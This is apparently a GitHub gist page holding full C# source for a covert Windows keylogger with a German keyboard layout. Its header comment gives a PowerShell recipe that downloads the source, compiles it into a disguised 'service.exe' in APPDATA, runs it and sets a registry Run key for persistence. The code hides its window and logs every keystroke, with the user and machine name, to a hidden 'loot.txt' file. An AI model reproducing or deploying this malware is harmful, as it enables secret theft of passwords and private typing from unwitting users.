Skip to content

Instantly share code, notes, and snippets.

@scaery
Last active February 11, 2023 16:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save scaery/2dfb271f022686c4a43d58ce13e9a58c to your computer and use it in GitHub Desktop.
Save scaery/2dfb271f022686c4a43d58ce13e9a58c to your computer and use it in GitHub Desktop.
C# German Keylogger DE Layout
/*
TITLE: Keylogger DE
Author: scaery
DESCRIPTION: A simple Keylogger with DE Layout (runs in background and logs a hidden lootfile in users home folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe Keylogger.cs
Keylogger.exe
If you like my version of C# Keylogger DE or want to add other international layouts use
https://www.nirsoft.net/utils/keyboard_state_view.html
FOR EDUCATIONL PURPOSE ONLY!
LICENCE: WTFPL (Feel free to buy me a spaceshuttle)
Quick use and persistence through registry run keys (powershell)
(New-Object System.Net.WebClient).DownloadFile("https://gist.githubusercontent.com/scaery/2dfb271f022686c4a43d58ce13e9a58c/raw/8daeb4e0baba64fb9e1c84f883aebc921f80a7f7/Keylogger.cs","$env:APPDATA\text.cs")
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:$env:APPDATA\service.exe $env:APPDATA\text.cs
Start-Process("$env:APPDATA\service.exe")
$registryPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$Name="Autorun"
$Value="$env:APPDATA\service.exe"
New-ItemProperty -Path $registryPath -Name $name -Value $value -PropertyType String -Force | Out-Null
Remove-Item -Force "$env:APPDATA\text.cs"
*/
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;
using System.Windows.Forms;
namespace KeyLogger
{
class Program
{
private String path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\loot.txt";
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(Int32 vKey);
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
static void Main(string[] args)
{
IntPtr h = System.Diagnostics.Process.GetCurrentProcess().MainWindowHandle;
ShowWindow(h, 0); // c# console application - hide window
while (true){
new Program().start();
}
}
private void start()
{
if (File.Exists(path)) File.SetAttributes(path, FileAttributes.Hidden);
StreamWriter nfile = new StreamWriter(path, true);
File.SetAttributes(path, FileAttributes.Hidden); // hidden attribute
nfile.WriteLine("\nUser: {0} Machine: {1} Date: " + DateTime.Now.ToString("dd/MM/yyyy HH:mm\n"), Environment.UserName, Environment.MachineName);
nfile.Close();
while (true)
{
System.Threading.Thread.Sleep(10); // fix polling - high cpu usage
for (int i = 0; i < 255; i++)
{
int key = GetAsyncKeyState(i);
if (key == 1 || key == -32767)
{
StreamWriter file = new StreamWriter(path, true);
File.SetAttributes(path, FileAttributes.Hidden); // hidden attribute
file.Write(verifyKey(i));
file.Close();
break;
}
}
}
}
private const int VK_SHIFT = 0x10;
private const int VK_MENU = 0x12;
public String verifyKey(int code)
{
String key = "";
if (code == 8) key = "⌫"; // [Backspace]
//if (code == 9) key = "[Tab]";
if (code == 13) key = "⏎\n"; // [Enter]
//if (code == 19) key = "[Pause]";
else if (code == 20) key = "⇪"; // [Caps Lock]
//if (code == 27) key = "[Esc]";
if (code == 32) key = " "; // [Space]
//if (code == 33) key = "[Page Up]";
//if (code == 34) key = "[Page Down]";
//if (code == 35) key = "[End]";
//if (code == 36) key = "[Home]";
//if (code == 37) key = "Left]";
//if (code == 38) key = "[Up]";
//if (code == 39) key = "[Right]";
//if (code == 40) key = "[Down]";
//if (code == 44) key = "[Print Screen]";
//if (code == 45) key = "[Insert]";
if (code == 46) key = "⌦"; // [Delete]
if (code == 48) key = "0";
if (code == 49) key = "1";
if (code == 50) key = "2";
if (code == 51) key = "3";
if (code == 52) key = "4";
if (code == 53) key = "5";
if (code == 54) key = "6";
if (code == 55) key = "7";
if (code == 56) key = "8";
if (code == 57) key = "9";
if (code == 65) key = "a";
if (code == 66) key = "b";
if (code == 67) key = "c";
if (code == 68) key = "d";
if (code == 69) key = "e";
if (code == 70) key = "f";
if (code == 71) key = "g";
if (code == 72) key = "h";
if (code == 73) key = "i";
if (code == 74) key = "j";
if (code == 75) key = "k";
if (code == 76) key = "l";
if (code == 77) key = "m";
if (code == 78) key = "n";
if (code == 79) key = "o";
if (code == 80) key = "p";
if (code == 81) key = "q";
if (code == 82) key = "r";
if (code == 83) key = "s";
if (code == 84) key = "t";
if (code == 85) key = "u";
if (code == 86) key = "v";
if (code == 87) key = "w";
if (code == 88) key = "x";
if (code == 89) key = "y";
if (code == 90) key = "z";
//if (code == 91) key = "[Windows_Left]";
//if (code == 92) key = "[Windows_Right]";
//if (code == 93) key = "[List]";
if (code == 96) key = "0";
if (code == 97) key = "1";
if (code == 98) key = "2";
if (code == 99) key = "3";
if (code == 100) key = "4";
if (code == 101) key = "5";
if (code == 102) key = "6";
if (code == 103) key = "7";
if (code == 104) key = "8";
if (code == 105) key = "9";
//if (code == 106) key = "NUM *";
//if (code == 107) key = "NUM +";
//if (code == 109) key = "NUM -";
//if (code == 110) key = "NUM DELETE";
//if (code == 111) key = "NUM /";
//if (code == 112) key = "[F1]";
//if (code == 113) key = "[F2]";
//if (code == 114) key = "[F3]";
//if (code == 115) key = "[F4]";
//if (code == 116) key = "[F5]";
//if (code == 117) key = "[F6]";
//if (code == 118) key = "[F7]";
//if (code == 119) key = "[F8]";
//if (code == 120) key = "[F9]";
//if (code == 121) key = "[F10]";
//if (code == 122) key = "[F11]";
//if (code == 123) key = "[F12]";
//if (code == 144) key = "[Num Lock]";
//if (code == 145) key = "[Scroll Lock]";
//if (code == 160) key = "[Shift_Left]";
//if (code == 161) key = "[Shift_Right]";
//if (code == 162) key = "[Ctrl_Left]";
//if (code == 163) key = "[Ctrl_Right]";
//if (code == 164) key = "[Alt_Left]";
//if (code == 165) key = "[Alt_Right]";
if (code == 187) key = "+";
if (code == 186) key = "ü";
if (code == 188) key = ",";
if (code == 189) key = "-";
if (code == 190) key = ".";
if (code == 192) key = "ö";
if (code == 191) key = "#";
if (code == 193) key = "/";
if (code == 194) key = ".";
if (code == 219) key = "ß";
if (code == 220) key = "^";
if (code == 221) key = "´";
if (code == 222) key = "ä";
if (code == 226) key = "<";
//else key = "[" + code + "]"; // for debugging
// Shift Modifier
if (Convert.ToBoolean(GetAsyncKeyState(0x10) & 0x8000))
{
if (code == 48) key = "=";
if (code == 49) key = "!";
if (code == 50) key = "\"";
if (code == 51) key = "§";
if (code == 52) key = "$";
if (code == 53) key = "%";
if (code == 54) key = "&";
if (code == 55) key = "/";
if (code == 56) key = "(";
if (code == 57) key = ")";
if (code == 65) key = "A";
if (code == 66) key = "B";
if (code == 67) key = "C";
if (code == 68) key = "D";
if (code == 69) key = "E";
if (code == 70) key = "F";
if (code == 71) key = "G";
if (code == 72) key = "H";
if (code == 73) key = "I";
if (code == 74) key = "J";
if (code == 75) key = "K";
if (code == 76) key = "L";
if (code == 77) key = "M";
if (code == 78) key = "N";
if (code == 79) key = "O";
if (code == 80) key = "P";
if (code == 81) key = "Q";
if (code == 82) key = "R";
if (code == 83) key = "S";
if (code == 84) key = "T";
if (code == 85) key = "U";
if (code == 86) key = "V";
if (code == 87) key = "W";
if (code == 88) key = "X";
if (code == 89) key = "Y";
if (code == 90) key = "Z";
if (code == 186) key = "Ü";
if (code == 187) key = "*";
if (code == 188) key = ";";
if (code == 189) key = "_";
if (code == 190) key = ":";
if (code == 191) key = "'";
if (code == 192) key = "Ö";
if (code == 219) key = "?";
if (code == 220) key = "°";
if (code == 221) key = "`";
if (code == 222) key = "Ä";
if (code == 226) key = ">";
}
// Alt Modifier
else if (Convert.ToBoolean(GetAsyncKeyState(0x12) & 0x8000))
{
if (code == 48) key = "}";
if (code == 50) key = "²";
if (code == 51) key = "³";
if (code == 55) key = "{";
if (code == 56) key = "[";
if (code == 57) key = "]";
if (code == 77) key = "µ";
if (code == 81) key = "@";
if (code == 187) key = "~";
if (code == 219) key = "\\";
if (code == 226) key = "|";
};
return key;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment